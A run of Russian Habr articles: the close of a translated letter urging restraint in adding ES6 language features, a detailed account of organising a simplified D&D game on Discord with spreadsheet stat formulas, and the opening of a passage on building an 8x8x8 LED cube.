Но каждое из дополнений, которые превратили ES5 в ES6, должно было соответствовать очень высокой планке. Психологически это играло большую роль для нас, так как мы начинали с ES5, размер спецификации которого мы все еще ценили. Когда размер спецификации невелик, каждое добавляемое в нее улучшение выглядит как значительное увеличение “веса” спецификации. Польза фичей ясно видна тем, кто их предлагает. Но для языка с небольшой спецификацией всем также ясно видна цена такой фичи — сколько сложности она добавляет к языку.
Когда сложность языка программирования превышает некое значение — к примеру, как у LaTex, Common Lisp, C++, PL/1 или современной Java, то опыт использования такого языка превращается в мучительный подбор “набора фичей” для персонального использования из кажущегося бесконечным океана фичей этого языка. Большую часть которых мы не хотим никогда изучать. Тем не менее, даже если набор фичей языка кажется нам бесконечным, мы можем легко оценить преимущества отдельно взятой новой фичи. А вот сложность, которую эта фича добавит к языку, оценить уже не так просто. Те, кто обсуждают новые фичи для таких языков уже не способы “чувствовать” добавляемую этими фичами сложность. Ведь бесконечность плюс один — это все равно бесконечность. Та самая “смерть от тысячи порезов”, которая заставляет эти монструозные языки расти безо всяких ограничений.
Коллеги, я прошу вас, когда вы оцениваете новую фичу для языка — ставьте более высокую планку нежели “было бы прикольно если мы могли писать еще и так”. Я верю, что спецификация ES6 все еще в том состоянии, когда есть возможность избежать ничем не ограниченного роста. Но это возможно только в том случае, если мы будем ограничивать себя в желании досыпать еще чуток фичей, и придерживаться только самых высоких стандартов качества для всего, что мы хотим добавить в язык. Как сообществу, нам не помешает легкое чувство паники относительно размера спецификации ES6. Идеально, если эта паника будет расти, а не уменьшаться, по мере того, как размер спецификации языка приближается к точке невозврата.
С уважением,
Марк
#### **Примечание переводчика**
Предложение, после которого Марк написал эту заметку, можно посмотреть [вот тут](https://mail.mozilla.org/pipermail/es-discuss/2015-June/043290.html). В нем предлагалось добавить синтаксический сахар, который бы позволил вместо
```
{ // блок для защиты локальных переменных
let a = 2, b, c; // локальные переменные
...
}
```
писать что-то вроде
```
let (a = 2, b, c) {
}
```
Переводчик разделяет мнение Марка. Более того, я считаю, что если в коде появилась необходимость изолировать его часть в такой “let block”, то пора эту часть рефакторить нафиг в функцию, метод, миксин или что-нибудь еще. Потому что сложность не дремлет, а [Кошелек Миллера](https://medium.com/@kichinsky/%D1%81%D0%B0%D0%BC%D0%BE%D0%B5-%D1%80%D0%B0%D1%81%D1%82%D0%B8%D1%80%D0%B0%D0%B6%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5-%D0%B4%D0%B8%D0%B7%D0%B0%D0%B9%D0%BD%D0%B5%D1%80%D1%81%D0%BA%D0%BE%D0%B5-%D0%B7%D0%B0%D0%B1%D0%BB%D1%83%D0%B6%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B8%D0%BB%D0%B8-%D1%81%D0%B2%D1%8F%D1%89%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F-%D0%BA%D0%BE%D1%80%D0%BE%D0%B2%D0%B0-7-2-a900c6937d13#.o8fi63l7j) только и ждет, чтобы оттяпать зазевавшемуся программисту что-нибудь нужное. | https://habr.com/ru/post/274739/ | null | ru | null |
# Как собрать коллег в братство
Привет, Хабр! Меня зовут Мария, работаю в ISPmanager QA-инженером и сегодня хочу рассказать, как мы замутили эпический ДНД-квест. По сути, история о том, как мы заморочились с подарком мужской половине коллектива на соответствующий праздник. В итоге вместо носков мы продумали собственный игровой мир и организовали мегасессию в дискорде. Что из этого вышло — читайте под катом.
Вопросом, что же подарить нашим мальчикам, мы озадачились в начале февраля. Наши коллеги сейчас работают в самых разных уголках полушария, и простым обедом в офисе тут уже не отделаться. Решили, что подарок должен быть, во-первых, нескучным, во-вторых — электронным. Мы же всё-таки IT-компания, как тут иначе!
В ходе жарких обсуждений развилась идея целой игры Dungeons & Dragons (DnD). «Подземелья и драконы» — изначально настольная игра, ныне имя нарицательное для ролевых игр в жанре фэнтези! Конечно, в полноценную партию из готовых версий DnD играть было бы интересно. Но пришлось бы потратить немало времени на разъяснение для новичков. Поэтому я кастомизировала и упростила правила, чтобы каждый мог быстро погрузиться и партия длилась два-три часа.
> *Знаете ли вы, что* самую длинную партию в Dungeons & Dragons («Подземелья и драконы») начал Роберт Уордхо в 1982 году и она идёт до сих пор!
>
>
Итак, работа закипела! Надо было придумать сценарий, бегло описать мир и правила, какими бы короткими они ни были, объяснить механику игры (потому что некоторые не знали, что «кубики» бывают не только шестигранными, но и двадцатигранными), найти гейм-мастера, определить команды, подготовить материалы, настроить площадку для игры… уУ! Тут нас настигла самая большая проблема, которую нельзя было предугадать заранее. Само предложение о DnD прозвучало меньше чем за две недели до праздника. Но, собрав всю волю и бессонные ночи в кулак, мы начали работу.
[Мир игры](#3)
[Механика игры](#2)
[Основные правила](#4)
[Организация](#1)
[Результаты игры](#5)
[Для тех, кто хочет повторить](#6)
### Мир игры
В основу мира легли четыре крупных города:
* Д’асий — северный город из высоких стел металла.
* Вай-Мэй — восточный город магов, открывающих проходы в другие миры, место для создания лучших визуализаций.
* Билаль — южный торговый город, полный золота, что расположился в песках, надежно скрывающих казну.
* И, наконец, Исбург — западный портовый город из камня на берегу моря.
Драконы, как и прочие обитатели мира, уже вышли более классическими для фэнтези: тут и эльфы с гномами, и тролли с гоблинами. Знакомые образы сразу решают две проблемы: не нужно придумывать бестиарий с нуля и не нужно тратить время на описание монстров во время игры.
Экранизации «Властелина колец» и «Хоббита» — одни из самых известных образчиков популярной культуры, познакомивших массу людей с фэнтезийными расамиВ классическом DnD количество монстров может быть невероятно велико. Чтобы участникам не приходилось постоянно обращаться к какому-нибудь громоздкому туториалу, мы составили свой. В нём были самые необходимые монстры, которые заполняли путешествие на главного босса интерактивом (подробнее — в разделе [«Механика»](#2)). А финальная цель описана уже подробно и красочно — вот где фантазия смогла развернуться . История городов была плотно связана с последним драконом.
История города Исбурга и его водяного драконаРаньше здесь были лишь редкие низёхонькие дома, покрытые мхом и разделённые бесчисленными ручьями самой разной ширины. Иной можно было измерить пальцами одной руки, а другой и вброд перейти тяжко. Земля, которую удавалось сохранить от поднимающейся воды, тут же покрывалась семенами. Но людям так и не удалось обуздать силу, то размывающую берега, то поднимающую подземные воды настолько, что земля будто выплёвывала хлипкие ростки из себя, оставляя небольшой гейзер после.
Тогда люди начали искать другую заботу для города. Так, год за годом, земля покрывалась камнем, привезённым со всей страны, мелкие ручейки спешно сливались в реку, созданную человеком и огороженную великим металлом дварфов. Город, посвятивший себя строительству, уже не мог остановиться. Каждый маленький домик очищался от травы и вырастал на четыре, на восемь, на шестнадцать этажей ввысь! Даже ветхие лавочки сменялись каменными, а деревья — металлом. Каменщики уже не могли остановиться, всё больше забивая хрупкий берег, оттесняя воду в море.
Несмолкаемый шум строительства не мог остаться неуслышанным, и в один день море, вспенившись, явило народу его погибель. Люди видели, как за круглым горизонтом появился силуэт и устремился к берегу, но ничего не смогли сделать: бежать было некуда. Чем ближе был этот монстр, тем выше становилась волна. Она начала закрывать облака, солнце, само небо почернело, и лишь лазурные глаза шли на город. Сначала город накрыла волна, сбив самые тонкие верхушки домов, земля вздрогнула и через трещины в камне начала пробиваться вода, заполняя улицы. Потом выжившие слышали рёв, проносящийся грохотом по стенам домов, разбивая их. А дальше явился он — синий, покрытой тиной морской и разорванными сетями рыбаков. Смрад пришёл с ним, волочась над водой. Лазурные огни теперь казались невероятно огромными, больше солнца, больше шхун, вывалившихся на берег и застрявших меж железных деревьев. Водоросли с него падали сплетенным камнем, сдирая черепицу с крыш. Дракон шёл по городу, а город не был готов его принять.
Наши дизайнеры подготовили и визуальные материалы для самой игры: карту мира с обозначением ключевых локаций и изображения лута — амуниции и оружия, которые можно было собрать по ходу игры.
Изначально была составлена схема мира — использовали сервис Coogle для создания ментальных схем. На её основе дизайнеры нарисовали карту. Игрокам она была выдана без обозначений лута. Но подсказки, где что искать, можно было получить в течение всей игры в различных местах — или же исследовать мир самостоятельно. Линиями обозначены примерные маршруты участвовавших братств.Когда мир был готов, бестиарий собран, карты и картинки нарисованы, оставалось наполнить мир живыми людьми. И вот тут пришлось заморочиться.
### Механика игры
Механику и правила планировалось упростить. Никаких лишних бросков, изменений статов, очков силы или другой физики для персонажа или экипировки на плечах игроков. Всё должно было работать из коробки, чтобы играть могли участники без опыта. С учётом этого поменялись и правила. Всё, что нужно было теперь знать игроку, умещалось в короткой презентации.
В презентации мы описали сюжет и правила, кратко введя игроков в курс дела### Основные правила
**Ход игры** сменяется партиями приключения или боя. Во время приключения игроки кидают кубики, только если гейм-мастер сильно сомневается в предлагаемом варианте. Гейм-мастер (здесь и далее «ГМ») — рассказчик и ведущий игры. О его роли в разделе [«Организация»](#1).
Например, бросить камень в прохожего — выполнимое действие, кубик можно не доставать. Летающий гном — маловероятное событие, можно потребовать бросок кубика.
В остальное время это общение ГМ и команды, где необязательно каждый из команды должен что-то делать. Но ГМ каждый круг сообщает последствия предыдущего круга. Или же последствия сообщают после каждого действия игроков в отдельности — это зависит от темпа приключений.
Во время боя игроки всегда кидают кубики. Иногда на маловероятные события может потребоваться дополнительный бросок. Или же ГМ даёт дополнительные броски и выбирает среди них максимальный результат, если хочет дать команде больше шансов. ГМ ходит в конце каждого круга, после того как все игроки что-то сделают. Умершего игрока можно исцелить. Если у него есть шанс излечиться при малом здоровье — он может это сделать вне ходов.
**Статы игроков** определены пятью характеристиками:
* **здоровье** уменьшается по ходу боя от атак врага, увеличивается зельем;
* **ловкость** может дать дополнительный бросок на максимальный результат, или наоборот;
* **сила** — 100% удара определяется очками силы;
* **скорость** определяется аналогично ловкости;
* **харизма** позволяет разрешить проблемы мирным путём. Чем больше харизмы, тем невероятнее может быть сила убеждения.
Из них на бой влияют все, кроме харизмы. Харизма, ловкость, скорость — характеристики, полезные вне боёв. Харизма нужна для общения с окружающими, ловкость — для исследований и краж, а скорость — для рискованных действий.
**Для игроков доступны** четыре расы на выбор и по два типа для каждой из них. Такое малое количество вариантов выбрано для того, чтобы легче было контролировать ход игры.
Всего вышло 8 юнитов. Сумма очков статов для всех юнитов одинаковая. Также у каждого была уникальная способность, которой можно было воспользоваться в сложный момент*Интересный факт:* чаще всего парни выбирали роль хоббита или дварфа, а вот пронырливых и боевых юнитов — почти поровну.
**Если требуется бросок кубика.** Стандартный бросок кубика идёт на d20:
1 – 4: Удар не прошёл.
5 – 10: Удар в полсилы.
11 – 16: Удар на 80% силы.
17 – 20: Удар во всю силу.
ГМ может выбрать любые другие грани или количества кубиков. Однако принцип останется тем же:
* до 20% включительно — мимо,
* до 50% — пол-атаки,
* до 80% — 80%,
* от 80% и больше — все удары в полную силу.
Если выброшена максимальная грань, ГМ может описать действие гораздо красочнее, чем оно задумано было игроком.
Лучшие броски кубиков обычно приносят самые абсурдные, но весёлые ситуации#### Мастера и игроки
Ещё одно важное обновление коснулось и ведения игры. Обычно игру ведёт один человек на небольшую компанию. Этот человек — гейм-мастер — и ведущий игры, и творец, и «игрец». Он определяет, куда будет развиваться сюжет, направляет команду, отыгрывает всех встречных монстров и жителей. Этот подход вынуждает ГМ готовиться к игре тщательно, много знать и учитывать в голове, контролировать все ключевые точки и настроение команды.
Главным отличием от классических DnD-партий у нас стало наличие ролей. Да, у каждой команды всё ещё был ГМ, который её направлял. Но на каждой локации появился ведущий, который играл роль NPC.
NPC — термин, относящийся к играм, который означает неигрового персонажа. Обычно именно такие персонажи делают игровой мир чуть живее, выдавая мелкие побочные квесты в своей локации. Таким образом, ГМ мог направить часть команды или даже всю её на квест, который ему не надо было готовить, продумывать и запоминать. А у ведущих локаций было достаточно времени обставить свой квест по собственной задумке, придумать персонажа и выбрать для себя любой вид и темп игры.
Так, где-то ведущие локаций давали задание на логику и умение собирать пазлы, кто-то подкидывал бои, а чтобы получить заветное зелье, надо было пройти испытание мелодией. Если бы ГМ был один на всю игру, он не смог бы за такое короткое время партии организовать столько активностей для команды. Даже в таверне, с которой всё начиналось (любое отличное приключение начинается с «той истории в баре»), была хозяйка, которая могла подкинуть полезных вещиц в обмен на интересную байку.
В итоге ГМ иногда мог оставаться один. У него появлялось время обдумать, что делать дальше, а игроки, вернувшиеся из разных локаций, делились своими невероятными приключениями. Этим они привлекали своих собратьев тоже заглянуть на интересную точку. Сарафанное радио — лучший пиар даже в фэнтезийном Средневековье!
### Организация
Итак, мир готов, правила описаны. Оставалось всё подбить и организовать, чтобы игра заработала. Началось всё, конечно, с людей, и у нас было одно преимущество: нас было много. Конечно же, дорогих мужчин, которых надо было поздравить, хватало. Однако и дам было достаточно, чтобы каждый мог как-то помочь в этом грандиозном подарке. Плохую шутку с нами сыграло лишь время: не было возможности тщательно подготовиться и задействовать всех. Но даже с учётом всего этого, у нас набралось достаточно желающих поучаствовать. Полный набор на задуманные локации у нас не набрался, но всё равно хватило на семь прекрасных ведущих локаций для шести дополнительных квестов и трёх ГМ — как оказалось в дальнейшем, это идеальное количество для записавшихся игроков.
#### Запись на игру
В этом деле важно подогреть интерес. Особенно если у вас горят дедлайны. Итак, универсальный рецепт, как не ударить в грязь лицом: сделайте загадочный вид, что так и задумано — проводить игру не в праздник, а в пятницу после него. Затем загадочно подогревайте интерес с понедельника. Профит — у вас есть пара дней в запасе, чтобы отшлифовать шероховатости. Заполнив чат мистическими призывами, собираем ту самую презентацию, где кратко описываем, как играть в «ультратонкое» DnD, и даём ссылку на запись в игроки. Записывались через Google Формы, и так мы сразу получали таблицы с игроками.
#### Площадка для игры
С Zoom у нас были знакомы все, но для игры он точно был не лучшим вариантом. Если бы это была одна партия с одним ГМ и без разброса между локациями, Zoom мог бы подойти. Но для нашей задумки требовалось больше функциональности. Для этого отлично подошёл Discord. В нём вся необходимая функциональность есть бесплатно. В первую очередь это многокомнатные серверы с настройками доступов и боты.
Многокомнатные серверы понадобились, чтобы управлять локациями. Всего таких локаций было четыре вида: братства, общие локации, дополнительные квесты и обители, административные.
1. **Братства** — party place, или «место партии», — локация для команды. У каждой команды был раздел, который могли видеть только участники: категория закрыта под роль команды и админов или модераторов. В этом разделе было всего два чата: голосовой и текстовый. Здесь и проходила работа ГМ: он постоянно присутствует в своём голосовом чате, даже если его команда ушла целиком. Или же он контролирует свой чат, если хочет отлучиться в другую комнату. Для этого в Discord всегда подсвечивается, сколько человек в голосовом чате, а значит, это будет перед глазами, даже если ГМ отошел.
> *Знаете ли вы, что* с недавним обновлением от 6 июня Discord, в каждом голосовом канале (комнате) появился текстовый чат? Больше можно не думать о том, что каждому голосовому чату нужен текстовый дубль! Ура!
>
>
2. **Общие локации**. Такими стали таверна, с которой всё начиналось, и «Порт» — условное место, чат по умолчанию на сервере. Именно в него попадает пользователь, когда только подключается к серверу. Для удобства вопросы до игры принимались в этих двух чатах, потому что только они были открыты для всех пользователей. С таверны также начинали все команды: здесь в назначенный час были зачитаны ещё раз правила, заданы вопросы (и получены ответы на них). Тут же было некое «лобби» пока участникам выдавались роли их братств, чтобы они могли разойтись по своим личным комнатам. Тут стоит отметить одну заминку, которая обнаружилась уже во время игры. Чтобы навешать роль на пользователя, надо открыть контекстное меню. Discord сбрасывал его, когда сменяется говорящий в активном голосовом канале. По крайней мере так было в феврале в версии для Windows. В результате приходилось выходить из голосового канала, чтобы разобраться с ролями.
У одного пользователя может быть несколько ролей. Высшая по доступам роль будет определять, открыт ли канал или категория для пользователя или нет. Настраивать доступы можно как для целой категории, так и для отдельного канала. Настройки канала, если они были изменены, будут приоритетнымиЯ взяла для себя на будущее, что нужен отдельный человек на административные работы: переназначения ролей, перенос участников в другие голосовые чаты и всё остальное, что может понадобиться.
3. **Дополнительные квесты и обители**. Это две разные категории, но у них похожие функции. Здесь находятся каналы, которые принадлежат ведущим локации. В дополнительных квестах расположены места, в которые можно было попасть только по определенным условиям. ГМ подводил к этому месту или ведущий локации мог каким-то образом проникнуть в игру и забрать к себе на квест нескольких игроков — например, украв их лут во время отдыха. Таким образом, в дополнительные квесты без повода попасть сложно. В то же время обители доступны. Тут у нас были расположены известные на всю Испландию места. Они даже были отмечены в ознакомительной презентации. Например, если игроку нужно было пополнить здоровье, ГМ мог сказать, что тому бы не помешало зайти за зельем к известной эльфийке. Или скучающих, оставленных своими собратьями игроков раскидать по разным обителям, мягко намекнув, что в мире ещё полно мест для исследования.
В Discord есть удобный инструмент для организации подобных мест: ограничение на количество участников голосового чата. Если ведущий локации придумал такое задание, что ему больше двух человек одновременно нельзя пускать, он мог выставить лимит и уже никто новый в этот канал зайти не сможет. Отмечу, что, если игрок насильно перенесён админом из одного голосового чата в другой, лимит не сработает. Это удобно тем, что люди, которые слабо ориентируются в новых программах, все равно могут участвовать. С другой стороны, если админ был не слишком внимателен, он мог сломать кому-то квест.
Пример категории «Обители» в Discord. Бойцовский клуб открыт для любых зрителей, пусть и по сюжету там занят в бою лишь один участник. В Ткацкую мастерскую одновременно могут зайти два игрока и один ведущий. А вот к Верховной эльфийке дозволено зайти лишь одному гостю за раз. Это удобно, если надо, чтобы прохождение квеста нельзя было подслушать у другого игрока или даже команды4. **Административное**. Тут всё как у всех: голосовой чат для переговоров и быстрого обсуждения игры, текстовый чат для общения разных ГМ и ведущих локаций, бестиарий и справочник. Правила уже были в презентации, поэтому подобный раздел тут был не нужен. А вот бестиарий удобнее было хранить в том же приложении. Так он будет в отдельном разделе, который всегда можно открыть.
Что касается ботов, в Discord можно найти их немало для игры в DnD. Мы использовали [D&D Bot](https://top.gg/bot/481910793697493011). Умений у него много, но нам требовалось лишь одно — кидать кубики. Например, в текстовых чатах игроки могли кидать кубики, пока общаются в голосовых. Таким образом, нет необходимости шарить какой-нибудь браузер, где все видят, что выпало действительно то число, которое было сказано игроком. Удобство, высший класс, если бот не упал — у нас не падал, тут нам повезло.
Бот вызывается коротким сообщением через обращение «!» (обращение по умолчанию для многих ботов, если есть конфликт — бот предложит изменить). Здесь первое сообщение просит бросить кубики (дайсы) 2 раза по 100 граней на каждом. Таким образом, ответом будет два числа в диапазоне от 1 до 100, которые бот ещё и сложит. Можно использовать и как две атаки, и как удар по двум игрокам, и как бросок на наименьшее/наибольшее из двух. В этом боте можно использовать до 25 кубиков за раз и с любым числом граней (главное — помнить, что в правильном объемном теле минимум 4 грани)Но в некоторых вещах Discord уступает тому же Zoom. Например, тут нет такого количества фонов и масок. Но если хочется отыгрыша и погружения, то есть отдельные приложения, в которых можно настроить виртуальную камеру с фильтрами, подобно инструментам Снэпчата.
#### Подсчет статистики
Вся игра задействует переходы между локациями и ведущими с ГМ. А значит, вести статистику у каждого на листочке уже не выйдет. Необходим общий файл, где каждый ведущий сможет вносить корректировки. Была выбрана таблица Google. У нас было 17 игроков, которых мы рандомно (почти) поделили на три команды. Вышла такая таблица:
В дополнение к статье даю [cаму таблицу](https://docs.google.com/spreadsheets/d/19_wI3xgs2wL_amHTro-WoBOCRrSgI0eYLfB7NZkK3fs/edit?usp=sharing), где есть основа для вашей игры. Кому интересно понять устройство работы таблицы или сделать что-то подобное самостоятельно, приглашаю под спойлер ознакомиться с тем, как была настроена наша таблица:
О настройке таблицыКолонки E:I не изменялись никак. Для них была применена формула, которая просчитывала зависимость от колонки D и изменяемости в колонках J:P. Рассмотрим на примере очков здоровья (в ячейке E2).
Сначала ищем для колонки D совпадение в таблице с характеристиками классов персонажей (таблицу вы уже видели выше, в этом документе она точно такая же, просто находится на другом листе). Найдя номер строчки, где находится наше D2, возвращаем его и используем для индекса. В поиске позиции используем метод полного совпадения (0 в конце):
`= ИНДЕКС(<таблицы А>; ПОИСКПОЗ($D2; <первая колонка таблицы А>; 0); 2)`
Под таблицей А мы тут подразумеваем диапазон таблицы с характеристиками в том виде, в котором он есть выше (без дополнительных колонок). Ссылаясь на диапазон, нам необходимо использовать абсолютные ссылки для строк, если мы собираемся скопировать значения из D2 и использовать ниже. Цифра 2 в конце значит, что мы возвращаем значение из второй колонки. Например, мы ссылаемся на лист «Характеристики», где эта таблица вставлена в самом начале. Тогда формула примет вид:
`= ИНДЕКС('Характеристики'!A$1:G$9; ПОИСКПОЗ($D2; 'Характеристики'!A$1:A$9; 0); 2)`
Посмотрим, как должны использоваться колонки J:P в этой таблице. Представим, что у нас есть некий лист «Лут», где использованы следующие колонки:
Цифры в таблице означают процент, на который увеличивается соответствующий текущий параметр. То есть Панталоны чистокодинга прибавят +6 здоровья, если оно уже было 60, или +10 здоровья, если оно было 100. Обратите внимание, что мы будем обращаться к базовым очкам характеристик.
Итак, начинаем заполнять для D2 все параметры очков здоровья в соответствии с клеткой в колонках J:P, работать это будет так: если игрок получил предмет, то у него вместо «0» появляется «1» в колонке с предметом. То есть мы можем всегда использовать предмет и умножать его на значение в колонке. Если игрок почему-то надел на себя две шапки, мы также используем её два раза, так что код это не сломает, дописываем в наш прошлый код значения по следующей формуле:
`= <базовые очки> * (100 + <значение в J:P> * <значение из Лут>) / 100`
Так как получившееся число, скорее всего, будет дробным, не забываем округлять. Получается:
`= ОКРУГЛ(ИНДЕКС('Характеристики'!A$1:G$9; ПОИСКПОЗ($D2; 'Характеристики'!A$1:A$9; 0); 2) * (100 + $J2 * 'Лут'!$B$2 + $K2 * 'Лут'!$B$3 + $L2 * 'Лут'!$B$4 + $M2 * 'Лут'!$B$5 + $N2 * 'Лут'!$B$6 + $O2 * 'Лут'!$B$7 + $P2*'Лут'!$B$10) / 100; 0)`
Здесь мы делаем ссылки из целевой таблицы абсолютными по нескольким причинам. Лут у нас тут не соответствует по колонкам относительно характеристик, а значит, смещение в колонку G для этой формулы всё равно не сработает. Ссылки в таблице «Лут» абсолютные, потому что нам надо будет скопировать значения вниз, а для смещения в колонку правее всё также таблицы слишком разные. У нас есть готовый вид формулы для изменяемого лута (колонки E, G, H) и для обычной базы (колонки F, I оставляем только с ИНДЕКС(...)).
Теперь наша таблица будет выглядеть так, если появится дополнительное снаряжение (выделение зеленым автоматически задано Условным форматированием на равность 1):
Отлично. Но если у нас есть бои, то эффект только на этом не заканчивается, должно быть что-то ещё… Точно, нам надо вычитать потерянные очки здоровья! Для этого нам понадобится ещё одна таблица:
ОЗ здесь повторяет значение из предыдущей таблицы (E2='Прошлый\_лист'!E2) только потому, что нам нужно видеть перед глазами во время боя, что происходит с итогом. Дельта, собственно, и есть изменение очков здоровья. Когда персонаж пьёт зелье или воскресает, то у него должно измениться здоровье в плюс, а когда получает ранения — в минус. На этом и основываемся, заполняя строчки любыми значениями, которые копятся во время боя. Дельта при этом будет считать сумму, то есть для F2:
`= СУММ(G2:AC2)`
Тут абсолютность не нужна, ведь мы не будем выходить за рамки колонки. Итак, дельта у нас есть, она считает всё изменение ОЗ, но пока что никуда не применяется, поэтому вернёмся на предыдущую таблицу в нашу большую формулу ОЗ. Есть два способа применить дельту:
`= <базовые очки> * <коэффициент с лутом> + дельта`
или
`= (<базовые очки> + дельта) * <коэффициент с лутом>`
Это два принципиально разных подхода к работе с потерей здоровья. В первом случае у нас уходит столько, сколько бы и ушло, но во втором случае у нас лут оказывает эффект на наш урон. Допустим, база была 100, коэффициент — «1,2», а дельта — «–40». В первом случае мы от 120 теряем 40 и у нас остаётся 80 здоровья, во втором же мы сначала отнимаем и уже 60 умножаем на 1,2 — получается 72 здоровья. Второй способ мало того что делает непредсказуемым вычисление урона, так ещё и отнимает больше (правда, и на увеличение прибавляет больше, но в боях всё равно игроки больше теряют), поэтому используем первый способ:
`= ОКРУГЛ(ИНДЕКС('Характеристики'!A$1:G$9; ПОИСКПОЗ($D2; 'Характеристики'!A$1:A$9; 0); 2) * (100 + $J2 * 'Лут'!$B$2 + $K2 * 'Лут'!$B$3 + $L2 * 'Лут'!$B$4 + $M2 * 'Лут'!$B$5 + $N2 * 'Лут'!$B$6 + $O2 * 'Лут'!$B$7 + $P2*'Лут'!$B$10) / 100; 0) + 'Дельта'!F2`
Всё, теперь мы точно закончили и можем сделать новую формулу здоровья для всех. В таблице дельты же для колонки E создадим условное форматирование с условием, что если здоровье меньше или равно 10, то мы выделяем клетку красным, потому что так ГМ или ведущий смогут вовремя остановить игрока и посоветовать тому сменить тактику.
Здесь видно, что форматирование выделило и «умерших», и «умирающих» игроков. Для полноты картины можно настроить чтобы отрицательные становились черными, а те, у кого меньше 30 или 40, постепенно становились красными на промежутке по градиенту. Такая встроенная опция тоже есть в Google Таблицах.
Итак, остался последний штрих — вернуться на предыдущую вкладку и не забыть заполнить зелья в дополнительных клетках.
Всё, теперь осталось провести ликбез для гейм-мастеров и ведущих, что можно трогать в таблице, а что нельзя, — и вы готовы к игре!
### Результаты игры
Несмотря на некоторые шероховатости в подготовке к игре, общий кипиш последней недели подготовки и выходной посреди недели, получилось сделать по-настоящему ламповый подарок, который понравился всем. Не было ни одного негативного отзыва, наоборот — сполна историй о том, как весело было спаивать энта, а потом проверять, что у того в дупле. Или убегать по атоллу от огненного дракона, а потом скармливать, точнее — отправлять на разведку к тому хоббитов по одному. Ну или гордиться тем, как ты круто воскресил кого-то, потому что мог.
*По мотивам игры появились* [*стикеры для Telegram*](https://t.me/addstickers/ISPland)*. Этот — мой любимый, потому что я была ГМ в команде, наведавшейся к энту*
### Для тех, кто хочет повторить этот опыт
* Найдите себе сразу парочку администраторов, которые будут следить за площадкой, ролями, переполнением чатов или, наоборот, простоем разных ведущих. Всё это лучше делать кому-то, кто не скачет по болотам вместе с командой.
* Возьмите себе больше времени, чтобы всё продумать и подготовить людей. Всё-таки далеко не все будут в теме и придётся много объяснять, что вообще такое вы тут придумали :D Да и если графику, организаторское и текстовое делают разные люди — сложно оценить, что будет задерживаться, а что подоспеет быстро.
* Обкатайте таблицу заранее. Даже если вы тестировщик. Особенно если вы тестировщик. Да, были *нюансы*.
* В форму записи игроков добавьте вопрос, играл ли до этого человек в DnD и знаком ли с жанром. Если в команде будет хотя бы по одному такому человеку, то он сможет иногда помогать ГМ. Особенно это полезно, если ГМ первый раз ведёт игру.
* Получайте удовольствие. Ведь в это интересно играть и к тому же это невероятно интересно делать.
Добавлю, что кураж от игры есть до сих пор, и — кто знает — возможно, погибшие войны Вай-Мэя будут отомщены, в игре появится хотя бы одно подземелье, а Д’асий, наконец, спасён от дракона, которого все проигнорировали в феврале. И главное:
 | https://habr.com/ru/post/678024/ | null | ru | null |
# Светодиодный куб 8х8х8, интересно и красиво
#### Введение
Идея эта в голову пришла спонтанно, до осени этого года я и догадываться не мог, что люди занимаются чем-то подобным в жизни. На самом деле про то, что такие «кубики» существуют, рассказал преподаватель схемотехники и предложил взять данную тему в качестве курсового.
Забегая вперёд, хочется сказать о том, что не нужно думать об объёме работы как о чём-то колоссальном. Напротив, делать совсем пришлось совсем немного, а вот те, кто думают: " Ха, я сделаю это за пару дней", — приготовьтесь к обратному. Да и сам процесс вовлекает в работу не хуже написания какого-нибудь программного кода…
Наблюдая за маленькими работами, размером 3х3х3, и 4х4х4, и 5х5х5, я потихоньку понимал, что чем больше — тем лучше.
**Milestone #1 :**Если вы до этого не работали с паяльником, для начала осознайте что нужно будет припайвать все ножки светодиодов, это 2\*512, не так-то мало. Поэтому потренируйтесь на каких-нибудь кошках.
В интернете полно инструкций на эту тему. Но от начала до конца я увидел кажется только на instructables.com, и сразу скажу, как-то там слишком подробно в плане всего. Использовал лично я компонентов в раза два меньше. Естественно комплектация получилась попроще. В итоге для нашей *маленькой игрушки* нам понадобится:
— 512 светодиодов (6$ — aliexp)
— 5 специальных микросхем для светодиодов STP16CPS05MTR (9$ — aliexp)
такие детали выгоднее брать партиями естественно
— 8 BD136 pnp транзисторов (отечественные аналоги также подойдут)
— 5 1кОм резисторов (рабочая мощность 2 W)
— 5 10мкФ конденсаторов (рабочее напряжение 35-50 V)
— соединительные провода (около 10 м вышло, учитывая неудачи), припой и все, кто по-кайфу
#### Время приступить к изготовлению макета
Берем дрель, линейку, делаем сеточку 8х8 (главное не сделайте 8х9, как я) на чём угодно, будь то пенопласт, деревянная доска или что-то ещё. И аккуратно сверлим дырочки для светодиодов.
**Milestone #2 :**Ключевое слово — «аккуратно», пару миллиметров влево или вправо, и у вас уже будет кривой куб в итоге.
После того, как этот шаг выполнен, вставляем светодиоды в ячейки и соблюдаем следующее правило:
а) Все аноды должны быть слева, а катоды справа. Или наоборот. Как вам удобнее.
б) Самый первый ряд сверху должен содержать светодиоды под углом:
По такому принципу соединяем катоды ( — ). Там, где отмечено пунктиром — прикрепите какую нибудь проволоку, чтобы слой держался с двух сторон крепко.
Держа эту нежную прослоечку, вам может показаться, что она вот-вот может развалиться, но на самом деле, когда вы начнёте скреплять слои, потом эту конструкцию можно будет спокойно бросать на пол, и скорее всего ничего не развалится.
#### Итог первого слоя
Перед тем, как начинать припаивать второй слой, нужно взять и загнуть все аноды следующим образом:
#### Соединяем несколько слоёв
**Milestone #3:**Новички, пожалуйста, используйте специальную паяльную пасту (флюс), если бы имеете дело с проводами, таким образом сохраните себе очень много нервов (не то, что я в первый раз).
#### Когда ты немножко устал
Итак, припаяв 64 провода к анодам, которые у нас получились «на дне», можно приступать к самой электронной схеме.
Видим, что выходы наших микросхем по обе стороны переходят в общие аноды колонок куба, а в 5-ой мы мультиплексируем через транзисторы управление слоями. Вроде бы все не сложно: подаётся сигнал на определённые колонки и слои, и мы получаем пару светящихся светодиодов.
На деле это работает так:
Имеется 3 входа: тактирование, данные и защёлка. Когда отработалось 8 битов, идет защелка, и данные помещаются в регистр. Т.к. у нас микросхемы выполнены на сдвиговых регистрах, то для того, чтобы отрендерить 1 раз наш кубик разными битами информации, нам нужно записать 1 байт (8 битов с номерами слоев, на которые подавать напряжение), далее будут идти пустые данные, т.к. для пятого чипа у нас левые пины ни к чему не подсоединены. Далее мы записываем по 1 байту для каждой из группы из восьми колонок. Соответствующий бит будет определять, которая колонка должна гореть, и где это пересекается с активированным слоем, светодиод на их пересечении и должен получить напряжение.
Ниже представлена схема из даташита разработчика для общего ознакомления:
Как мы будем записывать 1 байт данных:
```
